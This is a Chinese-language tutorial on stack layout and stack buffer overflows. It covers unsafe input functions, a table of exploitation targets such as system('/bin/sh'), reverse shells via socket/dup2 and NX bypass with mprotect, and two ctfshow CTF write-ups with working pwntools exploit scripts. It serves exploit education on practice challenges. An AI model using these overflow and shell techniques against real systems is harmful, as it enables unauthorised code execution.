栈基础
什么是栈?
栈是一种典型的后进先出的数据结构,,主要是压栈(push)和出栈(pop)两种操作
有栈底和栈顶,其中栈底是固定的,不进行操作,栈是一种计算机结构
举一个例子
高地址(High Address)
┌────────────────────┐
│ 函数参数 │ ← 最先压栈(call 时传的参数)
├────────────────────┤
│ 返回地址 (EIP) │ ← 函数执行完跳回的位置
├────────────────────┤
│ 上一个 EBP │ ← 保存上一个栈帧的基址
├────────────────────┤
│ 局部变量 buf[64] │ ← 最后压栈
└────────────────────┘
低地址(Low Address) ← ESP 栈顶指针
其中最先入栈的是在高地址,最后入栈的是在低地址,所谓的后进先出,就是最后进栈的会先出栈,就好比垃圾桶一样,最后扔进去的会被最先拿出来
入栈push:将一个数据放入栈里叫做进栈
出栈pop:将一个数据从栈里取出叫出栈
栈顶:常用寄存器ESP,ESP是栈指针寄存器,内存里放了一个指针,永远指向系统栈最上面的一个栈帧的栈顶
栈底:常用寄存器是EBP,EBP是基址指针寄存器,其内存放着一个指针,永远指向系统栈最上面的一个栈帧的底部
什么是RBP?
rbp是函数调用时的基址寄存器,也叫做栈帧指针
他指向当前函数栈帧的底部,也就是进入函数是ESP的值
调用函数后栈结构(64位):
高地址
┌────────────┐
│ 参数 │
├────────────┤
│ 返回地址 │
├────────────┤ ← RBP(基址指针)
│ 局部变量 │ ← RSP(栈顶指针)
└────────────┘
低地址
其作用是
编译器通过rbp去找变量的位置
比如函数char bufp[128],编译器会访问rbp – 0x80这个地址去访问buf
(其表示距离当前函数栈帧底部,往下0x80(120)个字节的位置),也就是说这是一个在栈上的局部变量的位置
举一个简单的例子
void func() {
char buf[16];
}
我们先定义好一个函数,其中函数的代码有固定地址
然后每次调用函数,都会动态在栈上分配内存,叫做“栈帧”
栈帧是临时的,其中包括:
·返回地址
·上一个 RBP
·局部变量(比如你的 `buf[16]`)
这些都是分配在栈区
注意rbp并不是指向函数代码,而是作为这个函数栈帧的起点
rbp的值不指向函数机器码地址,而是指向本次函数调用在栈中“栈帧的底部”
然后在通过rbp分配局部变量空间
总结一下流程
步骤 | 解释 |
---|---|
你定义了函数 | 它的代码被编译到 .text 段,等着别人调用 |
调用函数 | call func 指令被执行 |
call 做的事 | 把返回地址压栈,然后跳到 func 代码 |
进入 func | push rbp → mov rbp, rsp (设栈帧起点) |
分配局部变量 | sub rsp, 0x20 给 buf 留空间(向低地址) |
执行函数体 | 在栈帧里操作 buf |
函数结束 | mov rsp, rbp → pop rbp → ret 恢复现场 |
注:其实那些寄存器换成其他的也可以,完成功能是一样的,只不过常用的是那些
栈的特点
- 后进先出
- 操作受限
只能在栈顶进行压栈和出栈操作,不能直接访问栈中的任意元素
- 动态调整
栈可以是固定大小的,也可以动态调整大小的,动态栈会根据需要自动调整
栈溢出原理
栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变,这种问题是一种特定的缓冲区溢出漏洞,类似的还有堆溢出,bss段溢出等
简单来说:栈溢出(Stack Overflow)是指向栈中写入超过它原本容量的数据,进而覆盖了不该修改的内存区域
栈溢出 = 输入超长 → 覆盖返回地址 → 劫持程序执行流
发生栈溢出的基本条件:
- 程序必须向栈上写入数据
- 写入的数据大小没有被良好的控制
常见的溢出函数
gets()
:此函数用于从标准输入读取一行数据,但是不检查输入字符串的长度,而是以回车来判断输入结束,因此,如果输入的数据长度超过了目标变量所能容纳的大小,就会存在溢出的风险
scanf()
:这是一个格式化的输入函数,但是如果输入数据的格式或长度不符合预期,也可能导致栈溢出,特别是当使用”%s”格式符读取字符串时,如果没有限制输入的长度,就会导致栈溢出
strcpy()
和strcat()
:这两个函数分别是用于字符串复制和拼接的,他们都会遇到字符串结束符\0
时停止操作,但是如果目标缓冲区的大小不足以容纳源字符串,就会导致栈溢出
sprintf()
:该函数用于将格式化的数据写入字符串。与scanf()类似,如果目标缓冲区的大小不足以容纳格式化后的字符串,也会导致栈溢出
常见后门函数
函数 | 类型 | 利用方式 | 难度 | 是否需构造参数 |
---|---|---|---|---|
system | Shell执行 | 简单直接执行命令 | 低 | 否 |
execve | Shell执行 | 高控制能力 | 中 | 是 |
fork | 进程控制 | 多次攻击、反复尝试 | 低 | 否 |
open/read/write | 文件操作 | 信息泄露、读取flag等 | 中 | 是 |
socket/connect/send/recv | 网络后门 | 建立远程Shell连接 | 高 | 是 |
mprotect | 内存控制 | 执行Shellcode绕过NX | 中 | 是 |
dup2 | I/O控制 | 远程Shell构造(结合execve) | 中 | 是 |
setuid | 提权 | 获取root权限(如果可用) | 高 | 是 |
1. system("/bin/sh")
- 功能:调用系统的shell,执行任意命令
- 常见用途:在溢出攻击中,攻击者将返回地址覆盖为
system()
函数地址,并将"/bin/sh"
作为参数,直接弹出一个交互式Shell - 优点:构造简单,只需找到
system
函数地址与"/bin/sh"
字符串地址 - 限制:依赖
libc
,且某些环境可能没有/bin/sh
2. execve()
- 功能:执行指定的程序,替换当前进程
- 参数:
execve(const char *pathname, char *const argv[], char *const envp[])
- 在PWN中的利用:
- 能绕过
system
被删去的限制 - 通常配合ROP(Return-Oriented Programming)链构造完整的参数,调用
execve("/bin/sh", NULL, NULL)
- 能绕过
- 优点:控制力更高,不依赖libc的
system
实现 - 缺点:参数构造复杂
3. fork()
- 功能:创建一个新子进程,子进程几乎是父进程的拷贝
- 用途:不直接构成后门,但攻击者可以用它来:
- 创建僵尸进程拖慢系统。
- 多次尝试绕过防护(如ASLR、canary)
- 补充:在某些竞态攻击(race condition)中,
fork()
用于加速漏洞触发
4. open()
, read()
, write()
- 功能:文件操作系统调用
- 用途:
- 读取敏感信息(如
/etc/passwd
、flag文件) - 写入Shellcode到文件或内存中。
- 通常在ROP链中用于泄露信息或执行文件系统操作
- 读取敏感信息(如
- 优点:适合信息泄露或旁路攻击。
- 补充:在沙箱环境中,
open+read+write
组合比执行Shell更隐蔽
5. socket()
, connect()
, send()
, recv()
- 功能:构建网络通信,用于远程连接和数据传输
- 用途:
- 建立反弹Shell或监听后门。
- 典型利用方式是构建ROP链,连接远程主机并将Shell I/O重定向到网络
- 优势:
- 提供持久控制。
- 可绕过某些本地限制(如无Shell命令)
- 示例:
- 调用
socket()
->connect()
->dup2()
->execve("/bin/sh", NULL, NULL)
- 调用
补充推荐函数(进阶PWN利用)
6. mprotect()
- 功能:修改内存页权限,通常用于将栈或堆设为可执行
- 用途:
- 在禁用NX(No eXecute)时,攻击者可将内存页改为可执行,然后跳转执行Shellcode
7. dup2()
- 功能:重定向文件描述符,常与
execve()
配合使用 - 用途:
- 用于重定向stdin、stdout、stderr(通常到socket),以建立远程交互式Shell
8. setuid(0)
/ seteuid(0)
- 功能:提权为root用户
- 用途:
- 在某些权限受限的环境中,攻击者利用提权调用获得root权限后执行Shell
栈溢出题目
最简单的ctfshowPwn 36
下载附件,丢进IDA里看main函数
跟进ctfshow()函数,看到gets函数
从[esp+0h] [ebp-28h] BYREF
可以看到是往里面输入40字节的数据,也就是上面说的局部变量的空间
接着看可以看到后门函数get_flag
我们所要利用的就是覆盖原本函数的返回地址,覆盖为此后门函数的返回地址
这里我找到get_flag()
的地址
EXP:
from pwn import *
context(arch='i386', os='linux', log_level='debug')
io = remote("pwn.challenge.ctf.show", 28118)
get_flag = 0x08048586
payload = b"A" * 44 + p32(get_flag)
io.sendline(payload)
io.interactive()
Pwn37
跟进ctfshow()
函数
其中read()
函数,读取50字节数据,实际buf为14字节的数据,存在栈溢出漏洞
buf从0x12开始的
然后又后门函数backdoor
EXP:
from pwn import *
context.log_level = 'debug'
io = remote('pwn.challenge.ctf.show',28128)
backdoor = 0x08048521
payload = b'A'*(0x12+4) + p32(backdoor)
io.sendline(payload)
io.interactive()